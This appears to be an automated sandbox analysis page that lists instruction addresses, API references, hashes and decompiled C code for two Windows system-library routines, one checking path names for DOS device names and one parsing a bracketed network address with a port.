0x6ce05d90
0x6ce05d93
0x6ce05d98
0x00000000
0x00000000
0x6ce05d9e
0x6ce05d9e
0x6ce05da3
0x00000000
0x6ce05dc3
0x6ce05dca
0x6ce05dcc
0x00000000
0x6ce05dcc
0x6ce05da3
0x6ce05d72
0x00000000
0x00000000
0x6ce05d77
0x6ce05d7a
0x6ce05d7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce05cf3
0x6ce05cf3
0x6ce05cf7
0x6ce05d1e
0x6ce05d1e
0x6ce05d24
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce05d24
0x6ce05cfd
0x6ce61630
0x00000000
0x00000000
0x6ce61636
0x6ce05d03
0x6ce05d08
0x6ce05d0c
0x00000000
0x00000000
0x6ce05d14
0x6ce05d18
0x00000000
0x00000000
0x00000000
0x6ce05d38
0x6ce05d38
0x6ce05d3b
0x6ce05d3e
0x6ce05d41
0x6ce05d44
0x6ce05d48
0x6ce05d48
0x00000000
0x6ce05d48
0x6ce05cb7
0x6ce05cbc
0x6ce05cbe
0x6ce05cbe
0x6ce05cc7
0x6ce05ccc
0x6ce05ccf
0x6ce05cd4
0x6ce6132a
0x6ce6132d
0x6ce61330
0x6ce61333
0x6ce61338
0x6ce61349
0x6ce61349
0x6ce6134b
0x6ce61350
0x00000000
0x00000000
0x6ce61358
0x6ce61405
0x6ce61366
0x6ce61368
0x6ce6136c
0x6ce6136e
0x6ce61373
0x6ce61407
0x6ce61409
0x6ce61414
0x6ce6140b
0x6ce6140b
0x6ce6140b
0x6ce61416
0x6ce61418
0x6ce6141f
0x6ce61422
0x6ce61425
0x6ce61428
0x6ce61431
0x00000000
0x6ce61437
0x6ce61437
0x6ce61439
0x6ce6143c
0x6ce61442
0x6ce61445
0x6ce6144c
0x6ce6144f
0x6ce61452
0x6ce6145d
0x6ce61462
0x6ce61466
0x6ce6146a
0x00000000
0x00000000
0x6ce61477
0x6ce6147d
0x00000000
0x00000000
0x6ce61483
0x6ce6148c
0x6ce6148e
0x6ce61491
0x6ce61496
0x6ce614a2
0x6ce614a9
0x6ce614a4
0x6ce614a6
0x6ce614a6
0x6ce61498
0x6ce6149a
0x6ce6149a
0x6ce614ae
0x6ce614e8
0x6ce61501
0x6ce61509
0x6ce6150c
0x6ce6150f
0x6ce61511
0x6ce61513
0x6ce61518
0x6ce6151d
0x00000000
0x00000000
0x6ce61523
0x6ce6152a
0x6ce6152f
0x6ce61556
0x6ce61595
0x6ce61598
0x6ce6159b
0x6ce615a0
0x6ce615c8
0x00000000
0x6ce615d6
0x6ce615e3
0x6ce615ef
0x6ce615f5
0x6ce61607
0x6ce6160c
0x6ce6160f
0x00000000
0x6ce6160f
0x6ce615c8
0x6ce615a5
0x00000000
0x6ce615b3
0x6ce615b9
0x00000000
0x6ce615b9
0x6ce615a5
0x6ce61558
0x6ce6155b
0x6ce6155e
0x6ce61563
0x00000000
0x00000000
0x6ce61565
0x6ce61577
0x6ce61579
0x6ce61579
0x6ce6157f
0x6ce61582
0x6ce61583
0x6ce61586
0x6ce6158b
0x00000000
0x6ce6158d
0x6ce6158d
0x00000000
0x6ce6158d
0x6ce6158b
0x6ce61565
0x00000000
0x6ce614b0
0x6ce614b2
0x6ce614b3
0x6ce614ba
0x6ce614bd
0x6ce614c2
0x00000000
0x00000000
0x6ce614c8
0x6ce614cf
0x6ce614d3
0x6ce614d6
0x00000000
0x6ce614d6
0x6ce614ae
0x00000000
0x6ce61612
0x6ce61612
0x6ce61615
0x6ce61616
0x6ce61619
0x00000000
0x6ce61621
0x6ce61431
0x6ce61379
0x6ce6137e
0x6ce61383
0x6ce613b8
0x6ce613b8
0x6ce613be
0x00000000
0x6ce613ce
0x6ce613d0
0x6ce613e3
0x6ce613e3
0x6ce613e5
0x6ce613e5
0x6ce613e8
0x6ce613eb
0x6ce613ee
0x6ce613f3
0x00000000
0x00000000
0x00000000
0x6ce613f3
0x6ce613d2
0x6ce613d9
0x00000000
0x00000000
0x6ce613db
0x6ce613de
0x00000000
0x6ce613de
0x6ce613be
0x6ce61388
0x6ce6139a
0x6ce6139f
0x6ce613a3
0x00000000
0x00000000
0x6ce613ab
0x6ce613af
0x00000000
0x00000000
0x6ce613b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce61388
0x6ce613f7
0x00000000
0x00000000
0x6ce613fd
0x6ce61400
0x6ce61400
0x00000000
0x6ce61358
0x6ce6133c
0x6ce6133d
0x6ce61342
0x6ce61347
0x00000000
0x00000000
0x00000000
0x6ce61347
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce05cd4
0x6ce05c8f
0x6ce612fc
0x6ce61300
0x00000000
0x00000000
0x6ce61309
0x00000000
0x00000000
0x6ce61313
0x00000000
0x00000000
0x6ce61319
0x6ce05c95
0x6ce05c97
0x6ce05ca1
0x00000000
0x00000000
0x00000000
0x6ce05ca1
0x6ce61669
0x6ce6166e
0x00000000
0x6ce6167c
0x00000000
0x6ce6167c

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6CE05CC7

Strings

xl--, xrefs: 6CE05CB7
xn--, xrefs: 6CE05CBE, 6CE05CC5
$, xrefs: 6CE614C8
$, xrefs: 6CE614CF
H, xrefs: 6CE61428

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: 7cbcb29fd864ac5360f2632b8864e98810ccc8524fa18a5bf484f1b0ae1397c4
Instruction ID: abf760cb647436d54f05e181317f120db165715bcf74dac111c866c8f2526860
Opcode Fuzzy Hash: 7cbcb29fd864ac5360f2632b8864e98810ccc8524fa18a5bf484f1b0ae1397c4
Instruction Fuzzy Hash: 8AF1E271F022498BDB15CFA9C4847AEB7B1EF45318F34826AD851ABF80E730C951CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE274C0, Relevance: 10.8, APIs: 7, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6CE274C0(signed short* __ecx) {
				char _v8;
				signed int _v12;
				signed int* _v16;
				void* _v20;
				signed short _t49;
				signed int _t54;
				signed int _t56;
				signed int _t57;
				signed int _t68;
				signed short* _t71;
				signed int _t74;
				signed int _t80;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				char _t91;
				signed short* _t92;
				unsigned short _t93;
				char _t94;
				signed short* _t95;
				signed int _t100;
				unsigned short _t101;
				signed short* _t104;
				signed int _t105;
				void* _t106;
				signed int* _t107;
				signed short _t108;
				signed int _t109;
				signed int _t112;
				signed int* _t113;

				_t92 = __ecx;
				_t104 = __ecx[2];
				_t112 =  *__ecx & 0x0000ffff;
				_v8 = 0;
				if(_t112 < 2) {
					L3:
					_t49 =  *_t92;
					_t113 = _t104;
					_t108 = _t49;
					_v20 = _t49;
					_t89 = _t108 & 0x0000ffff;
					_t93 = _t89;
					_v16 = _t113;
					_t105 = _t93 >> 0x00000001 & 0x0000ffff;
					if(_t105 == 0) {
						goto L28;
					} else {
						if( *((short*)(_t113 + _t105 * 2 - 2)) == 0x3a) {
							_t43 = _t93 - 2; // 0xfffffe
							_t108 = _t43;
							_t105 = _t105 + 0xffff;
							_t94 = 1;
							_v8 = 1;
						} else {
							_t94 = 0;
						}
						if(_t105 == 0) {
							goto L28;
						} else {
							while(1) {
								_t54 =  *(_t113 + (_t105 & 0x0000ffff) * 2 - 2) & 0x0000ffff;
								if(_t54 != 0x2e && _t54 != 0x20) {
									break;
								}
								_v12 = 0xfffe;
								_t105 = _t105 + 0xffff;
								_t108 = _t108 + _v12;
								_t94 = _t94 + 1;
								if(_t105 != 0) {
									continue;
								} else {
								}
								break;
							}
							_v8 = _t94;
							_v12 = 0;
							if(_t105 == 0) {
								L20:
								_t95 = _t113;
								_t106 = _t113 + (_t105 & 0x0000ffff) * 2;
								if(_t113 < _t106) {
									while(1) {
										_t68 =  *_t95 & 0x0000ffff;
										if(_t68 == 0x2e || _t68 == 0x3a) {
											break;
										}
										_t95 =  &(_t95[1]);
										if(_t95 < _t106) {
											continue;
										}
										break;
									}
									if(_t95 > _t113) {
										while( *((short*)(_t95 - 2)) == 0x20) {
											_t95 =  &(_t95[0xffffffffffffffff]);
											if(_t95 > _t113) {
												continue;
											} else {
											}
											goto L27;
										}
									}
								}
								L27:
								_t56 = _t95 - _t113 >> 0x00000001 & 0x0000ffff;
								_t109 = _t56;
								_v20 = _t56 + _t56;
								if(_t109 != 5) {
									_t26 = _t109 - 3; // 0x37
									_t57 = _t26;
									if(_t57 > 4) {
										goto L28;
									} else {
										switch( *((intOrPtr*)(_t57 * 4 +  &M6CE277C8))) {
											case 0:
												if(RtlEqualUnicodeString( &_v20, 0x6cde1040, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6cde1050, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6cde1048, 1) != 0) {
													goto L46;
												} else {
													_push(1);
													_push(0x6cde1058);
													goto L45;
												}
												goto L76;
											case 1:
												_t36 = __esi + 6; // 0xe6cde
												__eax =  *_t36 & 0x0000ffff;
												if(iswdigit( *_t36 & 0x0000ffff) == 0) {
													goto L28;
												} else {
													if( *(__esi + 6) == 0x30) {
														goto L28;
													} else {
														_t46 = __ebx - 2; // -1
														__eax = _t46;
														_v20 = __ax;
														 &_v20 = RtlEqualUnicodeString( &_v20, 0x6cde18f8, 1);
														if(__al != 0) {
															goto L46;
														} else {
															_push(1);
															_push(0x6cde1910);
															goto L45;
														}
													}
												}
												goto L76;
											case 2:
												goto L28;
											case 3:
												_push(1);
												_push(0x6cde1068);
												L45:
												if(RtlEqualUnicodeString( &_v20, ??, ??) == 0) {
													goto L28;
												} else {
													goto L46;
												}
												goto L76;
											case 4:
												_t35 =  &_v20; // 0xffff0
												_t35 = RtlEqualUnicodeString(_t35, 0x6cde1060, 1);
												if(__al == 0) {
													goto L28;
												} else {
													L46:
													return _t109 + _t109 | _v12 << 0x00000010;
												}
												goto L76;
										}
									}
								} else {
									goto L28;
								}
							} else {
								_t71 = _t113 + ((_t105 & 0x0000ffff) - 1) * 2;
								if(_t71 < _t113) {
									L19:
									_t74 = ( *_t113 | 0x00000020) & 0x0000ffff;
									if(_t74 != 0x70) {
										if(_t74 == 0x6c || _t74 == 0x6e || _t74 == 0x61 || _t74 == 0x63) {
											goto L20;
										} else {
											goto L28;
										}
									} else {
										goto L20;
									}
								} else {
									while(1) {
										_t100 =  *_t71 & 0x0000ffff;
										if(_t100 == 0x5c || _t100 == 0x2f) {
											break;
										}
										if(_t100 == 0x3a) {
											if(_t71 !=  &(_t113[0])) {
												goto L14;
											} else {
												break;
											}
										} else {
											L14:
											_t71 = _t71 - 2;
											if(_t71 >= _t113) {
												continue;
											} else {
												goto L19;
											}
										}
										goto L76;
									}
									_t15 =  &(_t71[1]); // 0x3b
									_t107 = _t15;
									if(_t107 >= _t113 + (_t89 & 0xfffffffe)) {
										goto L28;
									} else {
										_t80 = ( *_t107 | 0x00000020) & 0x0000ffff;
										if(_t80 != 0x70) {
											if(_t80 == 0x6c || _t80 == 0x6e || _t80 == 0x61) {
												goto L18;
											} else {
												if(_t80 != 0x63) {
													goto L28;
												} else {
													goto L18;
												}
											}
										} else {
											L18:
											_v12 = _t107 - _t113;
											_t91 = _v8;
											_t101 = _t113 - _t107 + _t89 & 0x0000ffff;
											_t113 = _t107;
											_v16 = _t113;
											_t105 = (_t101 >> 0x00000001) - _t91 & 0x0000ffff;
											_v20 = _t101 - _t91 + _t91;
											goto L19;
										}
									}
								}
							}
						}
					}
				} else {
					_t85 =  *_t104 & 0x0000ffff;
					if(_t85 == 0x5c || _t85 == 0x2f) {
						if(_t112 < 4) {
							goto L3;
						} else {
							_t86 = _t104[1] & 0x0000ffff;
							if(_t86 != 0x5c) {
								if(_t86 != 0x2f) {
									goto L3;
								} else {
									goto L54;
								}
							} else {
								L54:
								if(_t112 < 6) {
									L28:
									return 0;
								} else {
									_t87 = _t104[2] & 0x0000ffff;
									if(_t87 != 0x2e) {
										if(_t87 == 0x3f) {
											goto L56;
										} else {
											goto L28;
										}
									} else {
										L56:
										if(_t112 < 8) {
											L69:
											if(_t112 != 6) {
												goto L28;
											} else {
												goto L3;
											}
										} else {
											_t88 = _t104[3] & 0x0000ffff;
											if(_t88 == 0x5c) {
												goto L28;
											} else {
												if(_t88 == 0x2f) {
													goto L28;
												} else {
													goto L69;
												}
											}
										}
									}
								}
							}
						}
					} else {
						goto L3;
					}
				}
				L76:
			}

0x6ce274c0
0x6ce274c8
0x6ce274cd
0x6ce274d0
0x6ce274db
0x6ce274f2
0x6ce274f2
0x6ce274f4
0x6ce274f6
0x6ce274f9
0x6ce274fc
0x6ce274ff
0x6ce27501
0x6ce2750a
0x6ce27510
0x00000000
0x6ce27516
0x6ce2751c
0x6ce277af
0x6ce277af
0x6ce277b2
0x6ce277b8
0x6ce277bd
0x6ce27522
0x6ce27522
0x6ce27522
0x6ce27527
0x00000000
0x6ce2752d
0x6ce2752d
0x6ce27530
0x6ce27539
0x00000000
0x00000000
0x6ce2778f
0x6ce27796
0x6ce2779c
0x6ce277a0
0x6ce277a4
0x00000000
0x00000000
0x6ce277aa
0x00000000
0x6ce277a4
0x6ce27549
0x6ce2754c
0x6ce27556
0x6ce275e5
0x6ce275e8
0x6ce275ea
0x6ce275ef
0x6ce275f1
0x6ce275f1
0x6ce275f7
0x00000000
0x00000000
0x6ce275fe
0x6ce27603
0x00000000
0x00000000
0x00000000
0x6ce27603
0x6ce27607
0x6ce27610
0x6ce6f983
0x6ce6f988
0x00000000
0x00000000
0x6ce6f98e
0x00000000
0x6ce6f988
0x6ce27610
0x6ce27607
0x6ce2761b
0x6ce2761f
0x6ce27622
0x6ce27627
0x6ce2762e
0x6ce27680
0x6ce27680
0x6ce27686
0x00000000
0x6ce27688
0x6ce27688
0x00000000
0x6ce276a1
0x00000000
0x6ce276cb
0x6ce276cb
0x6ce276cd
0x00000000
0x6ce276cd
0x00000000
0x00000000
0x6ce27718
0x6ce27718
0x6ce27727
0x00000000
0x6ce2772d
0x6ce6f998
0x00000000
0x6ce6f99e
0x6ce6f99e
0x6ce6f99e
0x6ce6f9a3
0x6ce6f9b0
0x6ce6f9b7
0x00000000
0x6ce6f9bd
0x6ce6f9bd
0x6ce6f9bf
0x00000000
0x6ce6f9bf
0x6ce6f9b7
0x6ce6f998
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce2770f
0x6ce27711
0x6ce276d2
0x6ce276dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce276fc
0x6ce27700
0x6ce27707
0x00000000
0x6ce2770d
0x6ce276e3
0x6ce276f4
0x6ce276f4
0x00000000
0x00000000
0x6ce27688
0x00000000
0x00000000
0x00000000
0x6ce2755c
0x6ce27560
0x6ce27565
0x6ce275d6
0x6ce275dd
0x6ce275e3
0x6ce27661
0x00000000
0x6ce2767e
0x00000000
0x6ce2767e
0x00000000
0x00000000
0x00000000
0x6ce27567
0x6ce27567
0x6ce27567
0x6ce2756d
0x00000000
0x00000000
0x6ce27577
0x6ce2777a
0x00000000
0x6ce27780
0x00000000
0x6ce27780
0x6ce2757d
0x6ce2757d
0x6ce2757d
0x6ce27582
0x00000000
0x6ce27584
0x00000000
0x6ce27584
0x6ce27582
0x00000000
0x6ce27577
0x6ce27586
0x6ce27586
0x6ce27592
0x00000000
0x6ce27598
0x6ce2759f
0x6ce275a5
0x6ce2763c
0x00000000
0x6ce27654
0x6ce27657
0x00000000
0x6ce27659
0x00000000
0x6ce27659
0x6ce27657
0x6ce275ab
0x6ce275ab
0x6ce275b3
0x6ce275b6
0x6ce275b9
0x6ce275bc
0x6ce275c1
0x6ce275ca
0x6ce275d2
0x00000000
0x6ce275d2
0x6ce275a5
0x6ce27592
0x6ce27565
0x6ce27556
0x6ce27527
0x6ce274dd
0x6ce274dd
0x6ce274e3
0x6ce27735
0x00000000
0x6ce2773b
0x6ce2773b
0x6ce27742
0x6ce6f961
0x00000000
0x6ce6f967
0x00000000
0x6ce6f967
0x6ce27748
0x6ce27748
0x6ce2774b
0x6ce27630
0x6ce27638
0x6ce27751
0x6ce27751
0x6ce27758
0x6ce27788
0x00000000
0x6ce2778a
0x00000000
0x6ce2778a
0x6ce2775a
0x6ce2775a
0x6ce2775d
0x6ce6f975
0x6ce6f978
0x00000000
0x6ce6f97e
0x00000000
0x6ce6f97e
0x6ce27763
0x6ce27763
0x6ce2776a
0x00000000
0x6ce27770
0x6ce6f96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6f96f
0x6ce2776a
0x6ce2775d
0x6ce27758
0x6ce2774b
0x6ce27742
0x00000000
0x00000000
0x00000000
0x6ce274e3
0x00000000

APIs

RtlEqualUnicodeString.1105(?,6CDE1040,00000001,?,00000024,01000000), ref: 6CE2769A
RtlEqualUnicodeString.1105(?,6CDE1050,00000001,?,6CDE1040,00000001,?,00000024,01000000), ref: 6CE276AE
RtlEqualUnicodeString.1105(?,6CDE1048,00000001,?,6CDE1050,00000001,?,6CDE1040,00000001,?,00000024,01000000), ref: 6CE276C2
RtlEqualUnicodeString.1105(?,6CDE1058,00000001,?,6CDE1048,00000001,?,6CDE1050,00000001,?,6CDE1040,00000001,?,00000024,01000000), ref: 6CE276D6
RtlEqualUnicodeString.1105(000FFFF0,6CDE1060,00000001,6CDE1068,00000001,6CDE18F8,00000001), ref: 6CE27700
iswdigit.1105(000E6CDE,6CDE1048,00000001,?,6CDE1050,00000001,?,6CDE1040,00000001,?,00000024,01000000), ref: 6CE2771D
RtlEqualUnicodeString.1105(00100000,6CDE18F8,00000001), ref: 6CE6F9B0

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: 97b512a422871fdabd6e1c901f9abe0c755803c1e165f1890aaf10cf150f25c2
Instruction ID: 3dfc4dc862836bfbce84c8b8ffc90939ad7e27b81f72f0554e5ebd255ccec504
Opcode Fuzzy Hash: 97b512a422871fdabd6e1c901f9abe0c755803c1e165f1890aaf10cf150f25c2
Instruction Fuzzy Hash: A281287195522596CB208F5DC480BBEB3B1AF0670DF74092BE8A5DBF90E33D8589D2D2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE00B60, Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE00B60(signed short* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t39;
				signed int _t41;
				void* _t45;
				void* _t50;
				long _t51;
				signed int _t52;
				signed int _t53;
				signed int _t60;
				signed int _t64;
				signed int _t75;
				signed int _t76;
				signed int _t78;
				signed int _t80;
				signed int _t87;
				signed short* _t90;
				void* _t93;
				signed int _t105;
				signed short* _t106;
				signed int _t111;
				void* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				long _t123;
				long _t125;
				void* _t128;
				signed short* _t131;

				_t90 = _a4;
				if(_t90 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t39 = 0xc000000d;
				} else {
					_t87 = 0;
					_v16 = 0;
					_t41 =  *_t90 & 0x0000ffff;
					_t115 = 0x5b;
					_t121 = _t41;
					_v20 = _t121;
					if(_t41 == _t115) {
						_t90 =  &(_t90[1]);
					}
					_v5 = _t121 == _t115;
					if(E6CE00BD0(_t90,  &_v24, _a8) >= 0) {
						_t131 = _v24;
						_v12 = 0xa;
						__eflags =  *_t131 - 0x25;
						if( *_t131 != 0x25) {
							L22:
							_t45 = 0x5d;
							goto L23;
						} else {
							_t131 =  &(_t131[1]);
							_t125 =  *_t131 & 0x0000ffff;
							__eflags = _t125 - 0x80;
							if(_t125 >= 0x80) {
								goto L6;
							} else {
								_t76 = iswctype(_t125, 4);
								__eflags = _t76;
								if(_t76 == 0) {
									goto L6;
								} else {
									while(1) {
										__eflags = _t125;
										if(_t125 == 0) {
											break;
										}
										_t45 = 0x5d;
										__eflags = _t125 - _t45;
										if(_t125 == _t45) {
											_t121 = _v20;
											L23:
											__eflags =  *_t131 - _t45;
											if( *_t131 != _t45) {
												L45:
												_t116 = _v5;
												goto L46;
											} else {
												_t50 = 0x5b;
												__eflags = _t121 - _t50;
												if(_t121 != _t50) {
													goto L6;
												} else {
													_t131 =  &(_t131[1]);
													_t116 = 0;
													_v5 = 0;
													__eflags =  *_t131 - 0x3a;
													if( *_t131 != 0x3a) {
														L46:
														__eflags =  *_t131;
														if( *_t131 != 0) {
															goto L6;
														} else {
															__eflags = _t116;
															if(_t116 != 0) {
																goto L6;
															} else {
																 *_a16 = _t87;
																 *_a12 = _v16;
																_t39 = 0;
															}
														}
													} else {
														_t131 =  &(_t131[1]);
														_t122 = 0x10;
														__eflags =  *_t131 - 0x30;
														if( *_t131 != 0x30) {
															_t117 = 0xa;
														} else {
															_t24 =  &(_t131[1]); // -4
															_t106 = _t24;
															_t131 = _t106;
															_t117 = 8;
															_v12 = _t117;
															_t75 =  *_t131 & 0x0000ffff;
															__eflags = _t75 - 0x78;
															if(_t75 == 0x78) {
																L29:
																_t117 = _t122;
																_t26 =  &(_t106[1]); // 0x0
																_t131 = _t26;
																_v12 = _t117;
															} else {
																__eflags = _t75 - 0x58;
																if(_t75 != 0x58) {
																	goto L32;
																} else {
																	goto L29;
																}
																while(1) {
																	L32:
																	_t123 =  *_t131 & 0x0000ffff;
																	__eflags = _t123;
																	if(_t123 == 0) {
																		goto L45;
																	}
																	_t51 = 0x80;
																	__eflags = _t123 - 0x80;
																	if(_t123 >= 0x80) {
																		L39:
																		_t93 = 0x10;
																		__eflags = _t117 - _t93;
																		if(_t117 != _t93) {
																			goto L6;
																		} else {
																			__eflags = _t123 - _t51;
																			if(_t123 >= _t51) {
																				goto L6;
																			} else {
																				_t52 = iswctype(_t123, _t51);
																				__eflags = _t52;
																				if(_t52 == 0) {
																					goto L6;
																				} else {
																					_t53 = iswctype(_t123, 2);
																					asm("sbb eax, eax");
																					__eflags = (_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 - 0xffff;
																					if((_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 > 0xffff) {
																						goto L6;
																					} else {
																						_t60 = iswctype(_t123, 2);
																						_t117 = _v12;
																						asm("sbb eax, eax");
																						_t87 = (_t87 << 4) + 0xa + _t123 - ( ~_t60 & 0x00000020) + 0x41;
																						__eflags = _t87;
																						goto L44;
																					}
																				}
																			}
																		}
																	} else {
																		_t64 = iswctype(_t123, 4);
																		_t117 = _v12;
																		__eflags = _t64;
																		if(_t64 == 0) {
																			L38:
																			_t51 = 0x80;
																			goto L39;
																		} else {
																			_t105 = _t123 & 0x0000ffff;
																			_v24 = _t117 & 0x0000ffff;
																			_t31 = _t105 - 0x30; // -44
																			__eflags = _t31 - _v24;
																			if(_t31 >= _v24) {
																				goto L38;
																			} else {
																				__eflags = (_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 - 0xffff;
																				if((_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 > 0xffff) {
																					goto L6;
																				} else {
																					_t87 = _t117 * _t87 + 0xffffffd0 + _t123 & 0x0000ffff;
																					L44:
																					_t131 =  &(_t131[1]);
																					continue;
																				}
																			}
																		}
																	}
																	goto L7;
																}
																goto L45;
															}
														}
														goto L32;
													}
												}
											}
										} else {
											__eflags = _t125 - _t45 + 0x23;
											if(_t125 >= _t45 + 0x23) {
												goto L6;
											} else {
												_t78 = iswctype(_t125, 4);
												__eflags = _t78;
												if(_t78 == 0) {
													goto L6;
												} else {
													_v24 = _t125 & 0x0000ffff;
													_t80 = _v16;
													_t111 = 0xa;
													asm("cdq");
													asm("adc ecx, edx");
													_t128 = _t80 * _t111 + _v24 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t80 * _t111 >> 0x20;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L19:
															_t131 =  &(_t131[1]);
															__eflags = _t131;
															_v16 = _v16 * 0xa + _v24 + 0xffffffd0;
															_t125 =  *_t131 & 0x0000ffff;
															continue;
														} else {
															__eflags = _t128 - 0xffffffff;
															if(_t128 > 0xffffffff) {
																goto L6;
															} else {
																goto L19;
															}
														}
													}
												}
											}
										}
										goto L7;
									}
									_t121 = _v20;
									goto L22;
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t39;
			}

0x6ce00b65
0x6ce00b70
0x6ce00bb7
0x6ce00bb7
0x6ce00b84
0x6ce00b86
0x6ce00b88
0x6ce00b8b
0x6ce00b90
0x6ce00b91
0x6ce00b93
0x6ce00b99
0x6ce00bc5
0x6ce00bc5
0x6ce00ba6
0x6ce00bb1
0x6ce5e578
0x6ce5e580
0x6ce5e587
0x6ce5e58b
0x6ce5e62e
0x6ce5e630
0x00000000
0x6ce5e591
0x6ce5e591
0x6ce5e594
0x6ce5e597
0x6ce5e59a
0x00000000
0x6ce5e5a0
0x6ce5e5a3
0x6ce5e5aa
0x6ce5e5ac
0x00000000
0x6ce5e5b2
0x6ce5e626
0x6ce5e626
0x6ce5e629
0x00000000
0x00000000
0x6ce5e5b6
0x6ce5e5b7
0x6ce5e5ba
0x6ce5e686
0x6ce5e631
0x6ce5e631
0x6ce5e634
0x6ce5e76f
0x6ce5e76f
0x00000000
0x6ce5e63a
0x6ce5e63c
0x6ce5e63d
0x6ce5e640
0x00000000
0x6ce5e646
0x6ce5e646
0x6ce5e649
0x6ce5e64b
0x6ce5e64e
0x6ce5e652
0x6ce5e772
0x6ce5e774
0x6ce5e777
0x00000000
0x6ce5e77d
0x6ce5e77d
0x6ce5e77f
0x00000000
0x6ce5e785
0x6ce5e78c
0x6ce5e795
0x6ce5e797
0x6ce5e797
0x6ce5e77f
0x6ce5e658
0x6ce5e658
0x6ce5e65d
0x6ce5e65e
0x6ce5e662
0x6ce5e68d
0x6ce5e664
0x6ce5e664
0x6ce5e664
0x6ce5e667
0x6ce5e66b
0x6ce5e66c
0x6ce5e66f
0x6ce5e672
0x6ce5e675
0x6ce5e67c
0x6ce5e67c
0x6ce5e67e
0x6ce5e67e
0x6ce5e681
0x6ce5e677
0x6ce5e677
0x6ce5e67a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce5e68e
0x6ce5e68e
0x6ce5e68e
0x6ce5e691
0x6ce5e694
0x00000000
0x00000000
0x6ce5e69a
0x6ce5e69f
0x6ce5e6a2
0x6ce5e6f1
0x6ce5e6f3
0x6ce5e6f4
0x6ce5e6f7
0x00000000
0x6ce5e6fd
0x6ce5e6fd
0x6ce5e700
0x00000000
0x6ce5e706
0x6ce5e708
0x6ce5e70f
0x6ce5e711
0x00000000
0x6ce5e717
0x6ce5e71a
0x6ce5e722
0x6ce5e73b
0x6ce5e740
0x00000000
0x6ce5e746
0x6ce5e74c
0x6ce5e751
0x6ce5e757
0x6ce5e765
0x6ce5e765
0x00000000
0x6ce5e765
0x6ce5e740
0x6ce5e711
0x6ce5e700
0x6ce5e6a4
0x6ce5e6a7
0x6ce5e6ac
0x6ce5e6b1
0x6ce5e6b3
0x6ce5e6ec
0x6ce5e6ec
0x00000000
0x6ce5e6b5
0x6ce5e6b5
0x6ce5e6bb
0x6ce5e6be
0x6ce5e6c1
0x6ce5e6c4
0x00000000
0x6ce5e6c6
0x6ce5e6d2
0x6ce5e6d7
0x00000000
0x6ce5e6dd
0x6ce5e6e7
0x6ce5e767
0x6ce5e767
0x00000000
0x6ce5e767
0x6ce5e6d7
0x6ce5e6c4
0x6ce5e6b3
0x00000000
0x6ce5e6a2
0x00000000
0x6ce5e68e
0x6ce5e675
0x00000000
0x6ce5e662
0x6ce5e652
0x6ce5e640
0x6ce5e5c0
0x6ce5e5c3
0x6ce5e5c6
0x00000000
0x6ce5e5cc
0x6ce5e5cf
0x6ce5e5d6
0x6ce5e5d8
0x00000000
0x6ce5e5de
0x6ce5e5e1
0x6ce5e5e4
0x6ce5e5e9
0x6ce5e5f3
0x6ce5e5f6
0x6ce5e5f8
0x6ce5e5fb
0x6ce5e5fe
0x6ce5e600
0x00000000
0x6ce5e606
0x6ce5e606
0x6ce5e611
0x6ce5e61d
0x6ce5e61d
0x6ce5e620
0x6ce5e623
0x00000000
0x6ce5e608
0x6ce5e608
0x6ce5e60b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce5e60b
0x6ce5e606
0x6ce5e600
0x6ce5e5d8
0x6ce5e5c6
0x00000000
0x6ce5e5ba
0x6ce5e62b
0x00000000
0x6ce5e62b
0x6ce5e5ac
0x6ce5e59a
0x00000000
0x00000000
0x00000000
